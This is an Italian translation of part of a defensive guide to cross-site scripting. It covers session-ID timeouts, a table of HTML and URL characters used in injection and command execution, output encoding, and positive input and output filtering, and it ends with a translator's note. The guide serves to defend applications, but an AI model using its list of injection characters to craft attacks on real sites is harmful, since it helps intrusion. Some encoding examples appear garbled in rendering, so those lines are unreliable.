Non appena gli utenti giungono sul website, vengono alloccate automaticamente delle session ID univoche. Ogni session ID può ESCLUSIVAMENTE essere ottenuta da una pagina del sito (solitamente dalla start/home page). Qualora un visitatore provasse ad accedere ad un'altra pagina del sito senza una valida session ID, verrà automaticamente redirezionato alla pagina di inizio e gliene sarà assegnata una.
Se un attaccante scoprisse una falla CSS in uno dei componenti dell'applicazione, ogni exploit basato sulla manipolazione dell'URL dovrà necessariamente contenere anche un valido session ID. Attraverso un rigoroso controllo del timeout di session ID, l'attaccante non sarà in grado di sfruttare questa falla al di fuori di quel periodo.
Per una sicurezza addizionale, la session ID può anche contenere l'indirizzo ip del browser client, opportunamente offuscata attraverso un hash (o un checksum).

Set di caratteri

Il successo di attacchi di iniezione di codice si fonda pesantemente sull'uso di caratteri diversi dal set a-Z. Alcune piccole misure di sicurezza possono essere ottenute dalla verifica che i dati esaminati vengano filtrati dall'uso dei corretti set di caratteri.

Contenuti Pericolosi

Alcuni caratteri sono di una speciale importanza se inseriti in pagine web o contenuti URL. Questi caratteri sono basati su specifiche HTML, contesto ed interpretazione del browser. Se l'input verso l'applicazione (o il website) non è correttamente validata, si potrebbe incorrere nei seguenti problemi:

Character	Significance
<	The less-than character introduces a HTML tag.
>	The greater-than character is sometimes interpreted by client browsers as the end of a HTML tag, and assumes that the author of the page omitted an opening < in error.
“	The double quote character is often interpreted as the end of an attribute character.
%	The percentage character is frequently used for encoding characters, such as their Unicode representation
&	The ampersand introduces a character entity. It is possible to combine the double quote and ampersand characters (“& “ extravalue”) to combine character entities within a HTML tag. Within a URL, the & introduces a character entity. Also, often used by UNIX based operating systems for command execution.
'	HTML tag attribute values can be enclosed within single quotes.
SPACE	Although most good developers prefer to quote attribute values, it is possible to omit these entirely as long as white-space characters are introduced. The SPACE character can be used as white-space. When used within URL information, the SPACE character is interpreted as the end of a URL.
TAB	Following the same white-space principals as the SPACE character, TAB may also be used. When used within URL information, the TAB character is interpreted as the end of a URL.
; \| !	Semicolons, Pipes and exclamation characters for additional command execution - The dash (or minus sign) can be used in database queries, and the creation of negative numbers.
/ \	The forward-slash and back-slash are often used for faking paths and queries.
( ) { } [ ]	Brackets, curly brackets and square brackets are often used as script, program or regex expressions.
*	Often used in database queries for “all”
? $ @ :	Question mark, Dollar, At and Colon characters are often used as script or programming markers.
Hex Version	The hex value of a character may be used, often done for non-printable characters. Such as: x00 Null bytes for truncating strings x04 EOF for faking the end of files x08 Backspace x0a New Line for extra command execution x0d New Line for extra command execution x1b Escape character for breaking out of procedures x20 Spaces for faking URLs and other names x7f Delete
Non-ASCII	Within a URL, non-ASCII characters (characters values above 128 in the ISO8859-1 encoding) are not allowed.

Quando si tratta di dati forniti dall'utente potenzialmente pericoli, l'organizzazione dei dati stessi può tentare tre tipi di approcci:

* La codifica dell'output, basata sui parametri di input.
* Il filtro dei parametri di input per i caratteri speciali.
* Il filtro dell'output in base ai parametri di input per i caratteri speciali.

Applicare efficientemente l'appropriata soluzione dipende dal linguaggio usato per codare l'applicazione lato-server.

In base all'applicazione, ed alla particolare fase dell'operazione, può essere necessario usare diverse tecniche per gestire i caratteri speciali. Nella maggior parte dei casi il filtro di input e output dovrebbe essere sufficiente. Comunque, se l'invio di particolari dati utente sembrano contenere caratteri speciali (ex: una complessa query di ricerca nel database), può essere necessario codificare il dato risultante prima di venir spedito indietro al client.

Codifica dell'output basata su parametri input

In questo metodo, ogni dato utente non-convalidato sarà sempre codificato nel corrispettivo carattere HTML come se fosse stato scritto dall'utente. Per esempio il carattere '<' sarà codificato come '<' e, sebbene apparirà all'utente come il carattere "minore", non sarà interpretato come tale durante il passaggio all'applicazione.

Se una pagina web utilizzata la codifica per caratteri UFT-7, ci sono diverse stringhe che agiscono come un carattere '<' per iniziare un tag HTML; tutte queste stringhe iniziano con un '+'. È anche importante che l'uso del carattere di codifica '%' sia attentamente monitorato, dato che può essere usato per una codifica escape oppure per caratteri speciali Unicode che saranno correttamente interpretati dal client browser. Ci sono molti metodi di codificare il testo ed i caratteri speciali. Un'analisi più dettagliata può essere trovata in un precedente paper, "URL Encoded Attacks".

Filtro dei parametri di input per i caratteri speciali

Il filtro dell'input lavora sulla rimozione di alcuni o tutti i caratteri speciali forniti dall'utente nel momento in cui i dati raggiungono i componenti dell'applicazione lato-server. Anche se è possibile implementare un filtro dell'input lato-client, questo non sarebbe mai opportunamente affidabile. Sebbene implementato lato-client, il processo lato-server dovrebbe svolgere gli stessi processi di filtraggio dell'input.

Il metodo raccomandato di implementare un filtro sull'input è semplicemente la selezione di un set di caratteri che sia noto come sicuro piuttosto che escludere i già elencati caratteri speciali. Questo metodo si riferisce ad un filtraggio Positivo (Positive filtering), e selezionando solo i caratteri che sono accettabili si aiuterà a ridurre il pericolo che vulnerabilità sconosciute vengano un domani exploitate.

Per esempio, un campo di form che si aspetta l'età di una persona può essere limitato ad un set di digits (da 0 a 9). Non c'è alcuna ragione per accettare in un campo "età" alcuna lettera o carattere speciale.

Filtro dell'output basato sui parametri di input per caratteri speciali

Le funzioni di filtraggio dell'output sono simili a quelle del filtraggio input, ad eccezione dei caratteri speciali che sono filtrati dai dati nell'applicazione lato-server prima che vengano mandati al web browser. Questa tecnica dovrebbe essere usata quando i dati sono restituiti da database o da formati di memorizzazione, in particolare quando c'è la possibilità che contenuti non-filtrati possano venir aggiunti da altre applicazioni o sistemi.
Un'attenzione speciale deve essere assunta in merito all'uso del filtraggio Output. Se l'applicazione restituisce contenuto HTML, bisogna assicurarsi che il filtraggio dei caratteri speciali sia ristretto ai dati passati dall'utente ed immagazzinati nel database. Filtrare i caratteri '<' e '>' troppo presto nel processo rischia di rendere inutile il documento HTML.

Documentazione

Nota del Traduttore

Ritengo che questa sia una delle migliori guide introduttive al Cross-Site Scripting disponibili attualmente in rete, e sicuramente una delle migliori che ho avuto il piacere di leggere. Ho deciso di tradurla e renderla pubblica fondamentalmente perchè le CSS (o XSS) stanno assumendo una grande importanza in questo periodo, ed è sempre meglio avere le idee chiare su cosa si fa e come lo si fa, senza eseguire degli script copiati da altri o trovati in rete per caso.
Il mio unico rammarico è di non aver potuto controllare al meglio la traduzione per privilegiare il tempo di consegna. Se emergono degli errori madornali, prego i miei utenti di contattarmi al più presto.
Le tabelle sono state lasciate in lingua originale ma saranno tradotte al più presto. Ho cercato di mantenere la mia parola, pubblicando la guida come "regalo di pasqua". Sfortunatamente sono stato occupato un paio di giorni e non ho completato le tables... aggiornerò al più presto. infine tutti i miei complimenti infine vanno a Gunter Ollmann, per la sua sistematicità nel descrivere i vari aspetti di questo tipo di attacco.

Enjoy your XSS'ing

Astratto